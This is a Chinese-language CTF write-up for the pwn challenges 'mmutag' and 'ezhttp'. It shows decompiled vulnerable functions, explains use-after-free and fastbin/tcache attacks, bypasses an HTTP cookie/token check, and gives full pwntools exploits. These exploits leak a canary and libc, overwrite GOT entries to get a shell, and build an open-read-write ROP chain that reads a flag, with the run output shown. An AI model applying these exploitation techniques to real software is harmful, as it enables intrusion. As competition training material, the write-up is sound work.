Pwn mmutag 本题下载
checksec 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000)
Vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 signed __int64 __fastcall rm (int idx) { signed __int64 result; if ( ptr[idx] ) { free (ptr[idx]); --ptr[0 ]; result = 0LL ; } else { puts ("you need add this content" ); result = 1LL ; } return result; }
利用漏洞再于uaf漏洞, 因为真正的添加和释放是顺序性的, 若释放不是最后一个chunk, 会造成释放最后一个chunk, 该所管理的指针数组中的值清0,形成uaf漏洞
思路 程序没有开启pie保护,且程序起初给了堆栈地址, 开辟内存的大小是固定的, 我们只能使用一次fastbin attack.那么我们就想到malloc到堆栈里面, 但是我在堆栈里找了好久满足8字节宽度的0x70~ 0x7f的值, 找到一个, 但是已经在main函数外去了, 且没法break退出main函数。但是我们注意到.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 unsigned __int64 mode_2 () { int i; int v1; int v3; char buf; unsigned __int64 v5; v5 = __readfsqword(0x28 u); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu_0(); v3 = input_n(); if ( v3 != 1 ) break ; puts ("please input your id:" ); i = input_n(); if ( (unsigned int )add(i) != 1 ) puts ("OK!" ); } if ( v3 != 2 ) break ; puts ("please input your id:" ); v1 = input_n(); if ( (unsigned int )rm(v1) != 1 ) puts ("OK!" ); } if ( v3 != 3 ) break ; read(0 , &buf, 0x20 uLL); printf ("Your content: %s\n" , &buf); } if ( v3 == 4 ) break ; Introl(); } return __readfsqword(0x28 u) ^ v5; }
就是输入3的时候我们可以输入一些东西, 我们就可以在这里布置fastbin 的大小为0x71。若我们开辟内存到堆栈里面, 那么就在堆栈里面布置rop链, 采用ret2libc的打法就ok, 但是我们还得需要泄漏cannary, 这里也是采用 这个输入方式进行泄漏cannary, 输入4即可退出该函数调用rop。
还有一个坑ret2libc的时候, 我们需要找一个再次输入到stack里的代码, 方便我们泄漏libc之后然后再次利用。我找的代码如下:
1 2 3 4 5 6 0400B5A lea rax, [rbp+buf] .text:0000000000400B5E mov rsi, rax .text:0000000000400B61 mov edi, offset format ; "Your content: %s\n" .text:0000000000400B66 mov eax, 0 .text:0000000000400B6B call _printf .text:0000000000400B70 jmp loc_400AB0
为啥要选这段代码, 灯下你就明白, 总之我们需要找一块代码需要再次向栈里写入数据, 但是没法让输入完毕之后就ret, 而下面这个代码可以控制向哪输入数据并返回, 存在个leave指令, 堆栈就发生了迁移, 没法利用。调试的时候, 发现了一个重要的地方就是, rbp我们是可控的, 且程序没开pie, 那么我们能否改got表在调用该函数岂不是实现了。那我就选择改atoi为system,在调用atoi的时候传入’/bin/sh’即可。且该代码块执行后是个循环的, 会调用到atoi。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 from pwn import *import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) context.log_level='debug' elf_path = 'mmutag.bk' MODIFY_LD = 0 arch = '64' libc_v = '2.23' ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2' libs_path = '/glibc/' + libc_v + '/' + arch + '/lib' libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6' libc_path = './libc.so.6' libc_path = '/lib/x86_64-linux-gnu/libc.so.6' if (MODIFY_LD): os.system('cp ' + elf_path + ' ' + elf_path + '.bk' ) change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path os.system(change_ld_cmd) li('modify ld ok!' ) exit(0 ) server_ip = "183.129.189.61" server_port = 55304 LOCAL = 0 LIBC = 1 def db (): if (LOCAL): gdb.attach(io)def ad (i, d ): sla(':' , '1' ) sla(':' , str (i)) sa('content' , d)def rm (i ): sla(':' , '2' ) sla(':' , str (i))def q (): sla(':' , '4' )def intro (d ): sla(':' , '5' ) sa('duce' , d) def exploit (): li('exploit...' ) sla(':' , 'i0gan' ) ru('0x' ) stack_leak = int (ru(':' ), 16 ) attack_stack = stack_leak - (0x7fffffffed40 - 0x7fffffffecd8 ) +0x20 li('leak: ' + hex (stack_leak)) sla(':' , '2' ) sla(':' , '3' ) s('A' * 0x18 + '\x21' ) ru('\x21' ) cannary = u64('\x00' + ru('\n' )[0 :7 ]) li('cannary: ' + hex (cannary)) sla(':' , '3' ) sl(p64(0x71 )) ad(1 , 'A' * 0x68 ) ad(2 , 'B' * 0x68 ) ad(3 , 'C' * 0x60 ) rm(1 ) rm(2 ) rm(1 ) p_addr = 0x6020C0 bss_target = p_addr - 0x23 ad(4 , p64(attack_stack)) ad(5 , 'A' ) ad(6 , 'A' ) li('target : ' + hex (attack_stack)) pop_rdi = 0x400d23 ret_again = 0x400A50 ret_again = 0x400B44 p = b'A' * 0x10 p += p64(cannary) p += p64(elf.got['atoi' ] + 0x20 ) p += p64(pop_rdi) p += p64(elf.got['read' ]) p += p64(elf.plt['puts' ]) p += p64(ret_again) ad(7 , p) q() leak = u64(ru('\x7f' )[-5 :] + b'\x7f\x00\x00' ) libc_base = leak - libc.sym['read' ] libc_sys = libc_base + libc.sym['system' ] p = p64(libc_sys) s(p) sl('/bin/sh' ) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_PRELOAD" : libc_path} ) else : io = elf.process() else : elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()
ezhttp 思路1 本题下载
checksec 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
该程序是一个模拟http协议进行交互的程序, 开启了pie, 沙箱, 所以只能使用传统的row来打了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 unsigned __int64 sandbox () { __int16 v1; __int16 *v2; __int16 v3; char v4; char v5; int v6; __int16 v7; char v8; char v9; int v10; __int16 v11; char v12; char v13; int v14; __int16 v15; char v16; char v17; int v18; __int16 v19; char v20; char v21; int v22; unsigned __int64 v23; v23 = __readfsqword(0x28 u); v3 = 32 ; v4 = 0 ; v5 = 0 ; v6 = 0 ; v7 = 21 ; v8 = 1 ; v9 = 0 ; v10 = 59 ; v11 = 53 ; v12 = 1 ; v13 = 0 ; v14 = 0 ; v15 = 6 ; v16 = 0 ; v17 = 0 ; v18 = 0 ; v19 = 6 ; v20 = 0 ; v21 = 0 ; v22 = 2147418112 ; v1 = 5 ; v2 = &v3; prctl(38 , 1LL , 0LL , 0LL , 0LL , *(_QWORD *)&v1, &v3, 32LL , *(_QWORD *)&v7, *(unsigned int *)&v11, 6LL , *(_QWORD *)&v19); prctl(22 , 2LL , &v1); return __readfsqword(0x28 u) ^ v23; }
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char *cont; char method; char url; char content; char input; unsigned __int64 v9; v9 = __readfsqword(0x28 u); sub_DF0(a1, a2, a3); sub_E4B(); sandbox(); sub_F42(); while ( True ) { puts ("\n======= Send Http packet to me: ========" ); memset (&input, 0 , 0x1000 uLL); if ( (signed int )read(0 , &input, 0x1000 uLL) < 0 ) puts ("Server error!" ); __isoc99_sscanf(&input, "%s %s %s" , &method, &url, &content); cont = get_end(&input); if ( strcmp (&method, "GET" ) && strcmp (&method, "POST" ) ) { send_to((__int64)"HTTP/1.1 405 Method Not Allowed" , (__int64)"Method not allowed" ); exit (0 ); } if ( !strstr (&input, "Cookie: " ) || !(unsigned int )check(&input) ) { send_to((__int64)"HTTP/1.1 401 Unauthorized" , (__int64)"You not login!" ); exit (0 ); } if ( !strcmp (&url, "/" ) ) send_to((__int64)"HTTP/1.1 200 OK" , (__int64)"Hello admin!" ); if ( !strcmp (&method, "POST" ) ) { if ( !strcmp (&url, "/create" ) ) { add(cont); } else if ( !strcmp (&url, "/del" ) ) { del((__int64)cont); } else if ( !strcmp (&url, "/show" ) ) { show(); } else if ( !strcmp (&url, "/edit" ) ) { edit(cont); } else { send_to((__int64)"HTTP/1.1 404 NOT FOUND" , (__int64)"page not found!" ); } } } return 0LL ; }
有token和cookie检查, 交互之前需要绕过.
检查函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 _BOOL8 __fastcall check (const char *a1) { __int64 v1; _BOOL8 result; signed int i; char *v4; char *token; char s; char u; unsigned __int64 v8; v8 = __readfsqword(0x28 u); memset (&s, 0 , 0x10 uLL); memset (&u, 0 , 0x50 uLL); v4 = strstr (a1, "Cookie: " ) + 8 ; token = strstr (a1, "token: " ); if ( !v4 || !token ) return 0LL ; __isoc99_sscanf(v4, "%10[^=]=%80s" , &s, &u, v1); for ( i = 7 ; token[i] != '\r' ; ++i ) ; token[i] = 0 ; if ( !strncmp (&s, "user" , 4uLL ) && !strncmp (&u, "admin" , 5uLL ) ) result = strstr (haystack, token + 7 ) != 0LL ; else result = 0LL ; return result; }
绕过方式:
1 2 Cookie: user=admin \r\n token: \r\n
因为采用strstr进行判断的, 若传入字符串中为空, 那么这个就会返回haystack字符串中的末尾。haystack是一个随机字符串。
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 unsigned __int64 __fastcall del (__int64 a1) { __int64 v1; int v3; char s; char nptr; unsigned __int64 v6; v6 = __readfsqword(0x28 u); memset (&s, 0 , 0xA uLL); __isoc99_sscanf(a1, "%10[^=]=%2s" , &s, &nptr, v1); v3 = atoi(&nptr); if ( strncmp (&s, "index" , 5uLL ) ) { send_to((__int64)"HTTP/1.1 404 Not Found" , (__int64)"No!You can't" ); exit (0 ); } if ( v3 < 0 || v3 > 15 || !p_addr[2 * v3] ) { send_to((__int64)"HTTP/1.1 404 Not Found" , (__int64)"No!You can't" ); exit (0 ); } free (p_addr[2 * v3]); p_addr[2 * v3 + 1 ] = 0LL ; send_to((__int64)"HTTP/1.1 200 OK" , (__int64)"Delete success!" ); return __readfsqword(0x28 u) ^ v6; }
存在一个uaf漏洞, 指针没有清0, 且在编辑中只对指针进行判断, 直接可以编辑使用后的函数.
思路 今天我在调试的时候吧alsr关了, 导致heap与elf地址发生连续, 我就以为给的heap地址可以泄漏elf地址, 打入ptr_addr然后修改free为puts打印atoi泄漏libc, 然后再次泄漏Libc中environ泄漏堆栈, 再次打入堆栈中布置row, 原来是我想多了, 若elf与heap连续的话采用此方法还行, 不连续的话就类似与爆破了, 但是今天我尝试了好多次, 也泄漏了远程libc,,只需再次弄后面的就行。爆破几率有点低, 通过以下已知
1 2 3 4 5 6 7 8 9 10 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x560c0c492000 0x560c0c495000 r-xp 3000 0 /home/xh/pwn2/ezhttp.o 0x560c0c694000 0x560c0c695000 r--p 1000 2000 /home/xh/pwn2/ezhttp.o 0x560c0c695000 0x560c0c696000 rw-p 1000 3000 /home/xh/pwn2/ezhttp.o 0x560c0c97d000 0x560c0c99e000 rw-p 21000 0 [heap] 0x7f1898273000 0x7f189845a000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f189845a000 0x7f189865a000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f189865a000 0x7f189865e000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f189865e000 0x7f1898660000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
爆破几率为 1 / 4096, 今天索性有一次泄漏, 那是万幸…
坑点
1 2 size = strlen (&src);strncpy (p_addr[2 * i], &src, size);
开辟的大小需要由字符串来决定,payload中就不能出现\x00
了
把今天有一次泄漏libc的exp先贴着.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 from pwn import *import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) elf_path = 'ezhttp.o' libc_path = './libc.so.6' libc_path = '/lib/x86_64-linux-gnu/libc.so.6' server_ip = "183.129.189.62" server_port = 62002 LOCAL = 1 LIBC = 1 def db (): if (LOCAL): gdb.attach(io)def ad (d ): print (d) p = b'POST /create HTTP/1.1 \r\n' p += b'Cookie: user=admin \r\n' p += b'token: \r\n' p += b'\r\n' p += b'content=' p += d sa('======= Send Http packet to me: ========\n' , p) def rm (i ): p = b'POST /del HTTP/1.1 \r\n' p += b'Cookie: user=admin \r\n' p += b'token: \r\n' p += b'\r\n' p += b'index=' + str (i).encode() sa('======= Send Http packet to me: ========\n' , p)def md (i, d ): p = b'POST /edit HTTP/1.1 \r\n' p += b'Cookie: user=admin \r\n' p += b'token: \r\n' p += b'\r\n' p += b'index=' + str (i).encode() p += b'&content=' + d + b'\n' sa('======= Send Http packet to me: ========\n' , p)def exploit (): li('exploit...' ) ad(b'A' * 0x8 ) ru('0x' ) leak = int (ru('"' ), 16 ) db() offset = 0 if (LOCAL): offset = 0x555555758260 - 0x555555554000 else : offset = 0x202260 offset = 0x201260 li('offset: ' + hex (offset)) elf_base = leak - offset p_addr = elf_base + 0x203120 li('leak: ' + hex (leak)) li('elf_base: ' + hex (elf_base)) rm(0 ) rm(0 ) rm(0 ) li('attack to p_addr' ) ad(p64(p_addr + 0x10 )) ad(b'A' * 0x8 ) free_got = elf_base + elf.got['free' ] li('free_got: ' + hex (free_got)) ad(p64(free_got)) li('p_addr: ' + hex (p_addr)) rm(0 ) rm(0 ) rm(0 ) li('modify free_got as puts plt' ) md(1 , p64(elf_base + elf.plt['puts' ])[0 :6 ]) li('attack to p_addr set chunk2 as atoi got' ) ad(p64(p_addr + 0x20 )) ad(b'A' * 0x8 ) ad(p64(elf_base + elf.got['atoi' ])) li('puts libc' ) rm(2 ) leak = u64(ru('\x7f' )[-5 :] + b'\x7f\x00\x00' ) libc_base = leak - libc.sym['atoi' ] li('libc_atoi: ' + hex (leak)) li('libc_base: ' + hex (libc_base)) environ = libc_base + libc.sym['_environ' ] li('environ: ' + hex (environ)) db() def finish (): ia() c()if __name__ == '__main__' : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_PRELOAD" : libc_path} ) else : io = elf.process() else : context.log_level='debug' elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()
太菜了….
更新 基于以上泄漏, 我们先泄漏通过environ泄漏stack的input地址, 通过修改exit的的got表中的地址实现劫持, 但是程序开了沙箱, 只能采用orw来打, 比较麻烦的是, 采用开辟堆来实现, 那也不行, 有特殊字符截断, 只能在堆栈中构造rop链, 我在libc中找了好久, 还有调了好久, 才找到一个方法实现….太菜了….
如何在堆栈中构造rop链并触发.
首先我们先看下程序.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char *cont; char method; char url; char content; char input; unsigned __int64 v9; v9 = __readfsqword(0x28 u); sub_DF0(); sub_E4B(); sandbox(); init_0(); while ( True ) { puts ("\n======= Send Http packet to me: ========" ); memset (&input, 0 , 0x1000 uLL); if ( (signed int )read(0 , &input, 0x1000 uLL) < 0 ) puts ("Server error!" ); __isoc99_sscanf((__int64)&input, (__int64)"%s %s %s" , (__int64)&method, (__int64)&url, (__int64)&content); cont = get_end(&input); if ( strcmp (&method, "GET" ) && strcmp (&method, "POST" ) ) { send_to((__int64)"HTTP/1.1 405 Method Not Allowed" , (__int64)"Method not allowed" ); exit (0 ); } ...
可以看到, 我们输入前部分可以放到method变量地方, 而这个变量可以储存0x10个字符, 若想利用rop, 我们前提是要到控制好rsp在我们的rop上, 那怎么才能控制rsp, 在libc中通过某些指令构造,比如通过pop rsp ret指令,那如何布置该指令呢, 使用该指令控制rsp,必须符合如下结构:
1 2 pop_rsp_ret addr target_rsp addr
首先, 我们必须至少控制两个地址连续的地址,且ret时指向pop_rsp_ret addr, 这样执行pop rsp指令时会将rsp指向我们的rop链中.
也可以采用leave ret指令修改也行, 但是我们得控制rbp, rbp可以采用pop rbp … ret控制.
那我就采用pop rsp来使我们劫持的exit 函数指向我们的 rop链中, 而rop链也就是我们所输入的堆栈地址那.
与method变量结合.
1 2 3 4 5 6 7 8 9 10 ----------------------------------| unuse rsp, we can modify it ----------------------------------| unuse ----------------------------------| unuse ----------------------------------| pop rsp addr in libc method we can modify it ----------------------------------- addr our input rop chain in stack | we can modify it
我们先劫持exit函数为main函数中的所输入的地方, 也就是read函数那, 这样就可以实现循环输入到堆栈中而不退出,。先输入 method + 0x8部分, 这样做是因为前面字符不能有’\x00’截断,我们可以让这个地址设为我们即将要改变rsp指向为我们所输入的rop chain地址,但是我们会面临一个问题, 就是我们输入pop_rsp_ret指令的地址后, 跳到这个地方, 高位地址有我们之前输入的字符, 需要不断缩小来设置为’\x00’。通过这个构造, 再次修改 exit got表中的值为 我们所够造好的rop, 修改为pop3_ret, 弹掉3个没用变量, 修改rsp为我们的rop链, 在ret到我们的rop chain中, 这样就可以完美利用了。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 from pwn import *import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) context.terminal = ['tmux' , 'splitw' , '-h' ] elf_path = 'ezhttp' MODIFY_LD = 0 arch = '64' libc_v = '2.27' ld_path = './ld-linux-x86-64.so.2' libc_path = './libc.so.6' if (MODIFY_LD): change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path os.system(change_ld_cmd) li('modify ld ok!' ) exit(0 ) server_ip = "183.129.189.62" server_port = 62002 LOCAL = 1 LIBC = 1 def db (): if (LOCAL): gdb.attach(io)def ad (d ): print (d) p = b'POST /create HTTP/1.1 \r\n' p += b'Cookie: user=admin \r\n' p += b'token: \r\n' p += b'\r\n' p += b'content=' p += d sa('======= Send Http packet to me: ========\n' , p) def rm (i ): p = b'POST /del HTTP/1.1 \r\n' p += b'Cookie: user=admin \r\n' p += b'token: \r\n' p += b'\r\n' p += b'index=' + str (i).encode() sa('======= Send Http packet to me: ========\n' , p)def md (i, d ): p = b'POST /edit HTTP/1.1 \r\n' p += b'Cookie: user=admin \r\n' p += b'token: \r\n' p += b'\r\n' p += b'index=' + str (i).encode() p += b'&content=' + d + b'\n' sa('======= Send Http packet to me: ========\n' , p)def exploit (): li('exploit...' ) ad(b'A' * 0x8 ) ru('0x' ) leak = int (ru('"' ), 16 ) offset = (0x55555575c260 - 0x555555554000 ) li('offset: ' + hex (offset)) elf_base = leak - offset p_addr = elf_base + 0x203120 li('leak: ' + hex (leak)) li('elf_base: ' + hex (elf_base)) rm(0 ) rm(0 ) rm(0 ) li('attack to p_addr' ) ad(p64(p_addr + 0x10 )) ad(b'A' * 0x8 ) free_got = elf_base + elf.got['free' ] li('free_got: ' + hex (free_got)) ad(p64(free_got)) li('p_addr: ' + hex (p_addr)) rm(0 ) rm(0 ) rm(0 ) li('modify free_got as puts plt' ) md(1 , p64(elf_base + elf.plt['puts' ])[0 :6 ]) li('attack to p_addr set chunk2 as atoi got' ) ad(p64(p_addr + 0x20 )) ad(b'A' * 0x8 ) ad(p64(elf_base + elf.got['atoi' ])) rm(2 ) leak = u64(ru('\x7f' )[-5 :] + b'\x7f\x00\x00' ) libc_base = leak - libc.sym['atoi' ] libc.address = libc_base libc_environ = libc.sym['environ' ] exit_hook = libc_base + + (0x7ffff7ffdf68 - 0x7ffff7a23000 ) li('libc_atoi: ' + hex (leak)) li('libc_base: ' + hex (libc_base)) li('environ: ' + hex (libc_environ)) li('_rtld_lock_unlock_recursive : ' + hex (exit_hook)) md(3 , p64(p_addr + 0x28 )[0 :6 ]) md(1 , b'\x08' ) md(3 , p64(p_addr + 0x20 )[0 :6 ]) md(1 , p64(libc_environ)[0 :6 ]) rm(2 ) leak = u64(ru('\x7f' )[-5 :] + b'\x7f\x00\x00' ) stack_input = leak - (0x7fffffffede8 - 0x7fffffffdce0 ) stack_main = leak li('stack input: ' + hex (stack_input)) li('stack main: ' + hex (stack_main)) md(3 , p64(elf_base + elf.got['exit' ])[0 :6 ]) ret_n = elf_base + 0x18EB md(1 , p64(ret_n)[0 :6 ]) pop4_ret = libc_base + 0x21457 pop_rsp_ret = libc_base + 0x3960 p = b'A' * 8 + p64(stack_input + 0x10 ) sl(p) sla('}' , 'AAAAAAA\x00' ) sl('AAAAAA\x00' ) li('jmp to: ' + hex (pop4_ret)) md(1 , p64(pop4_ret)[0 :6 ]) p = p64(pop_rsp_ret) p += b'A' * 8 libc_read = libc.sym['read' ] libc_open = libc.sym['open' ] libc_puts = libc.sym['puts' ] pop_rdi = libc_base + 0x2154d pop_rdx_rsi = libc_base + 0xfe669 pop_rdx = libc_base + 0x1b96 flag_addr = stack_input + 0x200 p += p64(pop_rdi) + p64(flag_addr) p += p64(pop_rdx_rsi) + p64(0 ) + p64(0 ) p += p64(libc_open) p += p64(pop_rdi) + p64(4 ) p += p64(pop_rdx_rsi) + p64(0x100 ) + p64(flag_addr + 0x10 ) p += p64(libc_read) p += p64(pop_rdi) + p64(flag_addr + 0x10 ) p += p64(libc_puts) p = p.ljust(0x200 , b'\x00' ) p += b'./flag\x00' li('flag here: \n' ) sla('ok' , p)def finish (): ia() c()if __name__ == '__main__' : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_PRELOAD" : libc_path}) else : io = elf.process() else : context.log_level='debug' elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()
输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 logan@arch :~/share/xh/pwn2 » ls dm exp ezhttp ezhttp.i64 ezhttp.o flag ld-linux-x86-64.so.2 libc.so.6 p logan@arch :~/share/xh/pwn2 » ./exp [*] '/home/logan/share/xh/pwn2/ezhttp' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/logan/share/xh/pwn2/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process '/home/logan/share/xh/pwn2/ezhttp' : pid 22554 [*] exploit... b'AAAAAAAA' [*] offset: 0x208260 [*] leak: 0x55555575c260 [*] elf_base: 0x555555554000 [*] attack to p_addr b'0quUUU\x00\x00' b'AAAAAAAA' [*] free_got: 0x555555757018 b'\x18puUUU\x00\x00' [*] p_addr: 0x555555757120 [*] modify free_got as puts plt [*] attack to p_addr set chunk2 as atoi got b'@quUUU\x00\x00' b'AAAAAAAA' b'\xb0puUUU\x00\x00' [*] libc_atoi: 0x7ffff7a58ac0 [*] libc_base: 0x7ffff7a23000 [*] environ: 0x7ffff7dd5098 [*] _rtld_lock_unlock_recursive : 0x7ffff7ffdf68 [*] stack input: 0x7fffffffdd20 [*] stack main: 0x7fffffffee28 [*] jmp to: 0x7ffff7a44457 [*] flag here: [*] Switching to interactive mode"," err_info":" Method not allowed"} ======= Server return: ======= HTTP/1.1 405 Method Not Allowed Server: H-Server Date: Sun, 01 Feb 2222 00:00:00 GMT Connection: close Content-Type: application/json Content-Length: 47 {" status":" ok"," err_info":" Method not allowed"} ======= Server return: ======= HTTP/1.1 405 Method Not Allowed Server: H-Server Date: Sun, 01 Feb 2222 00:00:00 GMT Connection: close Content-Type: application/json Content-Length: 47 {" status":" ok"," err_info":" Method not allowed"} ======= Server return: ======= HTTP/1.1 200 OK Server: H-Server Date: Sun, 01 Feb 2222 00:00:00 GMT Connection: close Content-Type: application/json Content-Length: 42 {" status":" ok"," err_info":" Edit success!"} ======= Send Http packet to me: ======== ======= Server return: ======= HTTP/1.1 405 Method Not Allowed Server: H-Server Date: Sun, 01 Feb 2222 00:00:00 GMT Connection: close Content-Type: application/json Content-Length: 47 {" status":" ok"," err_info":" Method not allowed"} ======= Server return: ======= HTTP/1.1 401 Unauthorized Server: H-Server Date: Sun, 01 Feb 2222 00:00:00 GMT Connection: close Content-Type: application/json Content-Length: 43 {" status":" ok"," err_info":" You not login!"} flag{test_flag} [*] Got EOF while reading in interactive
ezhttp 思路2 第一种方法虽然可行, 但是爆破几率实在太低 1/ 4096.
那我们就采用法二, 打通几率 1 / 16, 通过修改_IO_2_1_stdout
来进行泄漏.